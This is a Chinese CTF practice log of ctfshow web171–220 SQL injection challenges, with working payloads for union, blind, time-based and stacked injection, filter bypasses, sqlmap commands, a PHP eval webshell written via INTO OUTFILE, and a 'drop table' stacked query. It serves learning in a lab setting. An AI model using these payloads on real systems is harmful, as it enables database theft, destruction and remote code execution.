ctfshow-sql注入 刷题记录
web171
源码
给了一个sql语句,那么我们就可以通过这sql语句来进行判断,那么我们可以自己新建一个数据库来测试。
就是利用phpstudy和navicat (网上有教程,可以去拿来学习学习)
新建了一个和题目差不多的user表,然后就可进行测试。
通过这几个简单的测试,发现了就是虽然username不等于flag的情况下,可以利用id,就令前面的id=xx不成立的情况下,就可以用到后面的id了,那么我们就得以后面的id为突破口。
1 | -1' or id='xxx ''是为了闭合sql语句,否则无法执行 |
解法
这道题的解法是看到只能查到id=24,我们就怀疑会不会藏在后面,我们就可以一个一个的试出来。
web172
源码
这道题直接用上一道题的解法,这道题就解不了了那么可以换别的解法,就是union联合注入。
就是可以本地试一下,如果成功了话,就可以拿去题目试一下
1 | -1' union select id,password from user where username='flag |
这里查询列的数量要和题目给的语句中列的数量一样
这句话成功执行了,那么我们就可以拿去题目试一下,发现也可以成功执行,就拿到flag了。
也可以利用模糊查询,但是只能本地通过,题目不能通过。
1 | -1' or username like '%f% |
补充点知识
1 | mysql 中的点是 ' . ' 可以这样用,再有多个数据库的情况下, |
1 | 也可以把数据库设做别的名字。 利用的是 as 这个单词 |
1 | -1' union select b.id,b.password from user as b where b.username='flag |
payload
1 | -1' union select id,password from ctfshow_user2 where username='flag |
web173
源码
这道题是结果返回的过程中不能出现flag,那么我们就得想办法把flag给绕过,那么我们就可以通过转换进制来绕过。
payload
1 | -1' union select id,bin(username),password from ctfshow_user3 where username='flag |
也可以换成hex —>16进制。
那么就可以成功拿到flag了。
最好是本地测试通过后在搬到题目上
web174
源码
利用前面的语句已经解不出来了,因为就是把flag和数字都屏蔽掉了,因为flag中还含有数字,所以就得使用替换。
payload
1 | 9999'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','nba'),'2','nbb'),'3','nbc'),'4','nbd'),'5','nbe'),'6','nbf'),'7','nbg'),'8','nbh'),'9','nbi'),'0','nbj'),'a' from ctfshow_user4 where username='flag'--+ |
—+指的是注释
这个py的意思就是把flag中的数字全部替换成别的,用16进制转换的原因是,因为转换的字母全是大写,所以我们替换的是小写,那么就不会出现影响。
替换回去的py脚本
1 | nb='ctfshow{nbfnbcnbgnbdnbfnbfnbgnbcnbfnbhnbfFnbgnbgnbgBnbcnbenbcnbanbcnbbnbfnbcnbfnbfnbfnbcnbcnbenbfnbfnbbDnbfnbanbfnbcnbcnbanbcnbhnbbDnbcnbdnbcnbbnbfnbanbcnbanbbDnbfnbbnbcnbgnbcnbcnbcnbcnbbDnbfnbdnbfnbbnbfnbcnbfnbbnbcnbdnbcnbfnbcnbjnbcnbanbcnbdnbcnbbnbfnbfnbcnbjnbgD}' |
这里去输入a是为了把flag名给替换掉。
输入payload,拿到转换后的flag,放到脚本里
得到输出结果后,进行16进制转换。
web175
源码
这里去查了一下ascii表,发现是全部都给过滤掉了,太致命了。所以看了群主的视频,学到了一种方法
就是利用这个东西
payload
1 | -1' union select 1,"<?php eval($_POST[1]);?>" into outfile'/var/www/html/1.php |
然后就去连接蚁剑,连接蚁剑完后就去连接数据库就好了。
(但是我连接数据库失败,不知道是啥原因)
web176
源码
就是增加了过滤,但是这里也没给过滤了啥,所以可以拿简单的代码试试,看能不能打通。
payload
1 | -1' or id='26 -1' or username='flag |
成功拿到flag。
web177
源码
这道题简单进行了测试,发现的是对空格进行了过滤。
空格被过滤的替换方法
1 | 首先我们空格被过滤,这个绕过方法有很多 |
通过测试,确实是空格被过滤了,那么我们就可以选择2为注释点。
payload
1 | -1'/**/union/**/select/**/'1',(select/**/password/**/from/**/ctfshow_user/**/where/**/username='flag'),'3';%23 |
直接用#不行,得进行url编码。
web178
源码
这道题是把/**给过滤掉了,然后换成%0b就行。
payload
1 | -1'%0bunion%0bselect%0b'1',(select%0bpassword%0bfrom%0bctfshow_user%0bwhere%0busername='flag'),'3';%23 |
web179
源码
这道题进行了测试下
1 | /**/ %0a %0b 都过滤掉了 |
payload
1 | -1'%0cunion%0cselect%0c'1',(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3';%23 |
web180
源码
用179的payload还能用,但是得把后面的东西去掉,也该是过滤掉了;或者是%23
payload
1 | -1'%0cunion%0cselect%0c'1',(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3 |
web181
源码
给了过滤项。
and的优先级高于or,需要同时满足两边的条件才会返回true,那么后面可以接一个or,or的两边有一个为true,既可以满足and。即:1 and 0 or 1
payload
1 | -1'||username='flag |
这道题也能用%0c来做,那么就是题目给漏了。
web182
源码
多过滤了个flag
% —->相当于*,任意匹配
_ ——->相当于?,只能匹配一个字符
payload
1 | -1'||(username)like'%fla% |
web183
源码
https://blog.csdn.net/m0_48780534/article/details/126155600 摘自这篇博客
解答:waf又增加了一些,题目也有变化了。查询到的结果会返回到下面第三个灰块那里。
select不能用,就只能选择布尔盲注或者时间盲注了。
这题的解法是在已知表名的情况下实现的,再结合模糊匹配like或者正则匹配regexp。
写脚本前先测试一下语句是否能正常执行,可以的话,再写到脚本里。
因为每次查询记录总数都是1条,就是我们要找的flag,所以页面固定会出现$user_count = 1;,可以用布尔盲注。
题目这里可以行得通
1 | tableName=`ctfshow_user`where`pass`like'ctfshow{%' |
wp脚本
1 | import requests |
regexp
这个是正则匹配的意思。
利用脚本就可以跑完了,就是跑的会有点久。
web184
源码
着里是把where和单双引号都给过滤掉了,那么我们就得去利用16进制给绕过,where被过滤的话可以使用having进行绕过,但是having有使用条件.
1 | 一个HAVING子句必须位于GROUP BY子句之后,并位于ORDER BY子句之前。 |
wp脚本
1 | import requests |
web185
源码
这题是把数字 where 单双引号 给过滤掉了,那么我们就得想办法构造字符了。
就是利用这个东西来构造字符串,但是我们得需要一个函数来把这些构造出来的东西给连接起来。
本地测试了一下,发现确实可以。
以下脚本摘自这篇文章 https://blog.csdn.net/m0_48780534/article/details/126155600
wp脚本
1 | import requests |
这个是群主写的脚本
1 | # -*- coding: utf-8 -*- |
代码中的char是负责转换字符用的,然后concat是连接字符用的。char转换里的内容是ascii的10进制。
web186
源码
这道题多过滤了<> 和x00 但是还是可以上一题的脚本来写。
web187
源码
以下内容摘自 https://blog.csdn.net/m0_48780534/article/details/126155600
本题和web181类似,都是通过1 and 0 or 1
达到目的。
这里的二进制格式,并不是指转成0101,而是binary mode。
就是这样的格式。
那么这道题就得用到这个经过md5(ffifdyop)加密过后的东西,里面这段英文解析之后就是上图所示,和万能密码差不多。
1 | select count(*) from ctfshow_user where username = 'admin' and password= ''or'6�]��!r,��b'; |
这个就会变成1 and 0 or 1 的情况,那么最后结果就是 1。
就是类似这种效果。只要第一个数字是数字不是字母就行。
1 | count(*) ---->指的是数据库总行数 |
web188
源码
这里的考法是mysql的弱类型比较。
这里能爆出来的原因是因为username的值没有用 ‘’ 包含起来,那么username的值就为0,数据库中username是字母开头的话,值也为0.那么就可以把这些全部给爆出来了。
这个能爆出的原因是这个的username为1ab,转换过来的话值是为1的。那么就可以爆出值为1的password.
username和password都用0的原因是,两个if判断都为弱类型比较,0都会等于字母开头的字符串
就是利用这一点,拿到了flag。
web189(bool盲注)
源码
和上一题的内容一样。
1 | flag在api/index.php文件中 ----> 给的提示 |
看一下登录的返回情况有没有差别:
username=0、password=0时,返回“密码错误”。(说明存在用户,但是密码错误)
username=1、password=0时,返回“查询失败”。(说明用户不存在)
因为输入0 和 1返回的结果不同,加上过滤了联合注入需要的东西,那么我们就得考虑bool盲注的问题了。
群主写的脚本
1 | import requests |
data里的意思是,如果返回的值里的第n位与字符串里的某位相等,则返回1
web190
源码
这道题给了个提示说是bool盲注
提示密码错误。
输入别的提示用户名不存在,所以可以得出用户名处存在sql注入。这题没有过滤字符,那么直接用群主写的二分法脚本来跑就行了。(以后遇到bool盲注的题,可以修改脚本一下直接用就行了)
1 | # -*- coding: utf-8 -*- |
web191
源码
这题相较上题而言,增加了过滤。但是影响不大,把web190的脚本拿来修改一下就好了。
这两个函数是一样的,可以替换着来用
修改后的wp脚本
1 | # -*- coding: utf-8 -*- |
利用ord()来替换。
web192
源码
这里是把ord和ascii都给过滤掉了,那么我们就可以考虑不用编码成数字的形式来解题,可以直接遍历字符串来看是否相等。
群主写的wp脚本
1 | # -*- coding: utf-8 -*- |
web193
源码
这次193是把substr给过滤掉了,那么我们就可以靠用别的函数来替代了。
left right 这两个函数都可以。
群主写的wp脚本
1 | # -*- coding: utf-8 -*- |
这里用tempstr参数的原因是,left函数不能一个一个的遍历,这个函数是直接输出长度为多少的字符串,所以我们得找一个参数来暂时存起来,然后在和新的拼接在一起。
web194
源码
过滤了挺多东西的。这道题可以使用 lpad 函数
其实和left差不多,只是加了一个空命令。
脚本
1 | # -*- coding: utf-8 -*- |
web195(堆叠注入)
源码
这道题用的是堆叠注入的知识点。
wp是利用update函数来更新数据库里的密码。
1 | `` 这个符号可以替代空格。 |
web196
源码
通过这一点可以来进行判断。
这里的select并没有被过滤。
web197
源码
不能用update来更新密码了。
payload
1 | 0;drop table ctfshow_user; |
这是先删除掉原来的表,然后在新建一个表,然后在往表里插入东西。
成功执行并且建立了新表和内容。
成功执行。
web198
源码
新建表和更新密码都不能用了。
解法一
paylaod
1 | 1;insert ctfshow_user(`username`,`pass`) value(2,3); |
通过新插入的账号密码来获得flag。
然后在username和password处分别输入2,3 就能拿到flag。
解法二
通过pass和id列的互相交换,然后把依次爆破pass就好了,username值填0;(弱类型比较)
1 | 0;alter table ctfshow_user change column `pass` `tmp` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `tmp` `id` varchar(255) |
web199
源码
这道题的用法类似这个原理
解法一
1 | username ---> 1;show tables |
解法二
1 | 0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change column id pass int;alter table ctfshow_user change column tmp id text |
这个是把varchar类型换成text类型,因为就是varchar需要括号,text不需要括号。
然后username为0;从0开始爆破password就行。
web200
源码
多把一个逗号给过滤掉了。
解法一
解法二
1 | 0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change column id pass int;alter table ctfshow_user change column tmp id text |
web201
源码
第一步
查看是否可以进行注入
1 | sqlmap -u "http://1bb5bf5b-d162-49e5-b701-e4eb8c3e851e.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show |
说明id可以进行注入了。
第二步
查找全部的数据库名。
1 | sqlmap -u "http://1bb5bf5b-d162-49e5-b701-e4eb8c3e851e.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show --dbs |
第三步
查找某个数据库中的表名
1 | sqlmap -u "http://1bb5bf5b-d162-49e5-b701-e4eb8c3e851e.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables |
第四步
查找表中的所有的列名
1 | sqlmap -u "http://1bb5bf5b-d162-49e5-b701-e4eb8c3e851e.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns |
第五步
查看这些列中的内容
1 | sqlmap -u "http://1bb5bf5b-d162-49e5-b701-e4eb8c3e851e.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump |
拿到flag.
web202
源码
那就是POST请求了。
猜测数据库名和表名也该没改,那么直接就去用
1 | sqlmap -u "http://f61fc87c-d4f4-44bb-a391-52a88766edb9.challenge.ctf.show/api/" --data="id=1" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump |
直接拿到flag.
web203
源码
这题说是要用method。
注意:一定要加上–headers=“Content-Type: text/plain” ,否则是按表单提交的,put接收不到
payload
1 | sqlmap -u "http://ef1c4fb9-5fb4-45d0-96e6-721fe5bdbce3.challenge.ctf.show/api/index.php" --data="id=1" --referer=ctf.show --method=PUT --headers="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user --dump |
(这里我是懒得一步一步的去查数据库和表了,就直接用上一个的了)
web204
源码
新增加了个cookie提交。
1 | 这里我也不知道出现啥问题了,直接写的payload在kali下的sqlmap 打不通 拿别人的pl也没用,好奇怪 |
web205
源码
通过抓包分析,在每次请求url/api/index.php
之前需要先请求URL/api/getTokn.php
,大家可以用burpsuite抓包看看确实是这么回事
所以我们需要两个参数
1 | --safe-url 设置在测试目标地址前访问的安全链接 |
摘自Y4tacker师傅的博客 https://blog.csdn.net/solitudi/article/details/110144623
payload
1 | sqlmap -u "http://98a8a8b4-a308-4ec4-93e7-b072c3971d27.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web -T ctfshow_flax -C flagx --dump --headers="Content-Type: text/plain" --safe-url=http://98a8a8b4-a308-4ec4-93e7-b072c3971d27.challenge.ctf.show/api/getToken.php --safe-freq=1 |
这里是直接打payload,师傅们可以按照前面的步骤来一步一步的打。
web206
源码
这里的话是闭不闭合都无所谓,因为sqlmap会自己判断。
payload
1 | sqlmap -u "http://0e551b3e-f8f4-4d09-9bbb-5a95ca5f0334.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql -D "ctfshow_web" -T "ctfshow_flaxc" -C "flagv" --dump --headers="Content-Type: text/plain" --safe-url=http://0e551b3e-f8f4-4d09-9bbb-5a95ca5f0334.challenge.ctf.show/api/getToken.php --safe-freq=1 |
这里是直接打payload,师傅们可以按照前面的步骤来一步一步的做。
web207 - web213
大家可以看看Y4tacker师傅的博客,我就不写了
https://blog.csdn.net/solitudi/article/details/110144623
web214(时间盲注)
源码
注入点在url/api/
群主写的wp
1 | import requests |
然后跟着上面的走就能拿到flag了。
看了这么多脚本的编写,自己也会写一点了(记录一下这个时刻)
web215
源码
这里提示了用’ ‘ 单引号。
就是同样用单引号给闭合注释掉就行
1 | ' or xxxxxxxxxx# ---->这样就可以了。 |
那么我们就拿上一题的脚本拿来修改修改就好了。
脚本
1 | import requests |
拿到flag了。
web216
源码
题目增加了个base64编码,但是影响不大,这样还是可以绕过,抓个包,然后进行下面的分析就能绕过了。
修改后的脚本
1 | import requests |
web217
源码
这里是吧sleep给过滤掉了。那么我们就可以用别的函数来替代sleep了。
这里就得用到benchmark函数了。
这个函数的功能 benchmark(次数,实现的计算)
上图的意思就是进行了100000000次md5(1)的计算。
脚本
1 | import requests |
web218
源码
这次把sleep和benchmark都给过滤掉了,那么我们还可以利用笛卡尔乘积
1 | 笛卡尔积又叫笛卡尔乘积,是一个叫笛卡尔的人提出来的。 |
离散数学里会学到这个东西。
这就是mysql里的笛卡尔乘积。
这里能让其产生延迟的感觉就是查大量的数据的时候就会产生延迟。
脚本
1 |
|
1 | 1) and if(substr((select database())),{j},1)='{i}',(select count(*) from ((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,7)c) limit 1),1 |
可以第一个if判断改成2>1,拿去题目那试一下,看是否产生延迟.
limit
limit 1,1就是返回第一行的数。
这个是返回第一行后面2行的数。
还有等等种可能,不理解的时候可以去本地去自己查询来理解。
web219
源码
把这个东西给过滤掉了,这里就得知rlike也是可以进行时间盲注的。
这里就要五种方法来进行时间盲注,sleep benchmark rlike 笛卡尔乘积 还有一种是双链接
双链接是啥我也不太清楚,感兴趣的可以自己去查查。
rlike
就是利用正则表达式来做.
1 | 正侧匹配在匹配较长字符串但自由度比较高的字符串时会造成比较大的计算量,我们通过rpad或repeat构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时 |
1 | SELECT if(1=1,(select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b')),0) |
这里用上一道题的脚本就行了。
脚本
1 | """ |
web220
源码
把substr给给过滤掉了,那么我们就得去使用别的函数了,left,right这些都可以。
脚本
1 |